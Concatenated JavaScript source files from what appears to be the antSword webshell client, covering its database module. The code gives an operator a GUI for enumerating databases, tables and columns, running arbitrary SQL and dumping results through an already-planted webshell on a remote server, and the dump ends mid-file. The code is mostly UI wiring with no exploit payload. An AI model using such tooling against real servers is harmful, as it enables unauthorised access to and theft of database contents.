btnstatus[btn] = toolbar.isEnabled(btn); } catch (e) { btnstatus[btn] = true; } }) toolbar.clearAll(); toolbar.loadStruct([{ id: 'exec', text: LANG['query']['exec'], icon: 'play', type: 'button', disabled: !btnstatus['exec'] }, // { type: 'separator' }, { id: 'import', text: '', icon: 'download', type: // 'button' }, { type: 'separator' }, { id: 'clear', text: LANG['query']['clear'], icon: 'remove', type: 'button' }, { type: 'separator' }, { id: 'bookmark', text: LANG['query']['bookmark']['title'], icon: 'bookmark', type: 'buttonSelect', openAll: true, options: bookmark_opts } ]); } reloadToolbar(); toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': editor .session .setValue(''); break; case 'exec': this .drive .execSQL(editor.session.getValue()); break; case 'bookmark_add': // layer.prompt({ value: antSword.noxss(editor.session.getValue()), title: LANG['query']['prompt']['add']['title'] }, (value, i, e) => { bookmark[Buffer.from(editor.session.getValue()).toString('base64')] = value; self.storage('dbbookmarks').set(JSON.stringify(bookmark)); toastr.success(LANG['query']['prompt']['add']['success'](editor.session.getValue()), LANG_T['success']); reloadToolbar(); layer.close(i); }); break; case 'bookmark_remove': layer.confirm(LANG['query']['prompt']['remove']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-remove"></i> ${LANG['query']['prompt']['remove']['title']}` }, (_) => { // delete bookmark[ Buffer .from(editor.session.getValue()) .toString('base64') ]; self .storage('dbbookmarks') .set(JSON.stringify(bookmark)); reloadToolbar(); toastr.success(LANG['query']['prompt']['remove']['success'], LANG_T['success']); layer.close(_); }); break; case 'bookmark_clear': layer.confirm(LANG['query']['prompt']['clear']['confirm'], { icon: 2, shift: 6, title: `<i class="fa fa-trash-o"></i> ${LANG['query']['prompt']['clear']['title']}` }, (_) => { bookmark = {}; self .storage('dbbookmarks') .set('{}'); reloadToolbar(); toastr.success(LANG['query']['prompt']['clear']['success'], LANG_T['success']); layer.close(_); }); break; default: let arr = id.split('_'); if (arr.length === 2 && arr[0] === 'bookmark') { editor .session .setValue(Buffer.from(arr[1], 'base64').toString()); // toolbar.enableItem('exec'); }; break; }; }); return { reloadToolbar: reloadToolbar, editor: editor, layout: layout, toolbar: toolbar }; } // :: initResult(layout) { layout.setText(`<i class="fa fa-inbox"></i> ${LANG['result']['title']}`); // layout.hideHeader(); const toolbar = layout.attachToolbar(); toolbar.loadStruct([{ id: 'dump', text: '', icon: 'upload', type: 'button', disabled: true }, { type: 'separator' }]); toolbar.attachEvent('onClick', (id) => { switch (id) { case 'dump': this .drive .dumpResult(); break; } }); return { layout: layout, toolbar: toolbar }; } // createWin(opts) { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const opt = $.extend({ title: 'Window:' + hash, width: 550, height: 450 }, opts); // const _win = this .win .createWindow(hash, 0, 0, opt['width'], opt['height']); _win.setText(opt['title']); _win.centerOnScreen(); _win .button('minmax') .show(); _win .button('minmax') .enable(); // return _win; } // checkprobe() { let that = this; let win = that.createWin({ title: LANG['probedb']['title'], width: 350, height: 400 }); const func_mapping = { // PHP 'mysql_close': 'MYSQL', 'mysqli_close': 'MYSQLI', 'mssql_close': 'MSSQL', 'sqlsrv_close': 'SQLSRV', 'ora_close': 'ORACLE', 'oci_close': 'ORACLE_OCI8', 'ifx_close': 'INFORMIX', 'sqlite_close': 'SQLite', 'pg_close': 'PostgreSQL', 'dba_close': 'DBA', 'dbmclose': 'DBM', 'filepro_fieldcount': 'FilePro', 'sybase_close': 'SyBase' } let grid = win.attachGrid(); grid.clearAll(); grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`); grid.setColTypes("ro,ro"); grid.setColSorting('str,str'); grid.setColumnMinWidth(100, 50); grid.setInitWidths("*"); grid.setEditable(false); grid.init(); win.progressOn(); that .drive .core .request(that.drive.core.base.probedb()) .then((ret) => { if (ret['text'].indexOf("ERROR://") > -1) { throw res["text"]; } let _data = ret['text'].split('\n'); let data_arr = []; for (let i = 0; i < _data.length; i++) { let item = _data[i].split('\t'); if (item.length < 2) { continue; } data_arr.push({ id: i + 1, data: [ func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : antSword.noxss(item[0]), parseInt(item[1]) === 1 ? "" : "" ], style: parseInt(item[1]) === 1 ? "background-color:#ADF1B9" : "" }); } grid.parse({ 'rows': data_arr }, 'json'); toastr.success(LANG['probedb']['success'], LANG_T['success']); win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); } // storage('save_key').get('{}') storage('save_key').set('{a:123}') storage(key) { let md5 = crypto.createHash('md5'); md5.update(this.opt['url']); const k = `${md5 .digest('hex') .substr(0, 11)}_${key}` return { get: (def) => localStorage.getItem(k) || def, set: (val) => localStorage.setItem(k, val) } } } // export default Database; module.exports = Database; ```
/content/code_sandbox/source/modules/database/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
5,158
```javascript module.exports = require('../php'); ```
/content/code_sandbox/source/modules/database/phpraw/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
8
```javascript // // ::ASPXCSHARP : Any // by: yzddMr6 // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); class ASPXCSHARP { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'sqlserver': 'server=127.0.0.1;database=master;uid=sa;pwd=123456', 'mysql': '', 'oracle': '' }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this .tree .attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql': sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'sqlserver': case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${db}].dbo.[${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this .manager .query .editor .session .setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'server=127.0.0.1;database=master;uid=sa;pwd=123456', rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], encode: this.manager.opt.encode, db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']) return this .manager .list .layout .progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_)).toString('base64'); this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], encode: this.manager.opt.encode, db: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer .from(db) .toString('base64'); const _table = Buffer .from(table) .toString('base64'); // this .tree .deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_); const _column = Buffer .from(_) .toString('base64'); this .tree .insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]); }); let sql = ""; switch (conf['type']) { case "oracle": sql = `SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='${db}' AND TABLE_NAME='${table}' ORDER BY COLUMN_ID`; break; case 'sqlserver': case 'sqloledb_1': case 'sqloledb_1_sspi': sql = `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`; break; case 'mysql': sql = `SELECT * FROM ${table} LIMIT 0,0;`; break; default: sql = `SELECT TOP 1 * FROM ${table} ORDER BY 1 DESC`; break; } // SQL this .manager .query .editor .session .setValue(sql); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // SQL execSQL(sql) { this .manager .query .layout .progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this .manager .query .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .query .layout .progressOff(); }); } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); }); // console.log(_arr, arr); 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this .manager .result .layout .attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = ASPXCSHARP; ```
/content/code_sandbox/source/modules/database/aspxcsharp/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
5,910
```javascript // // ::CUSTOM : Any // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); class CUSTOM { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', 'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;' + 'databaseName=test;user=sa;password=123456', 'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser' + '\r\npassword' }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this .tree .attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql': sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'sqlserver': case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this .manager .query .editor .session .setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], encode: this.manager.opt.encode, db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' 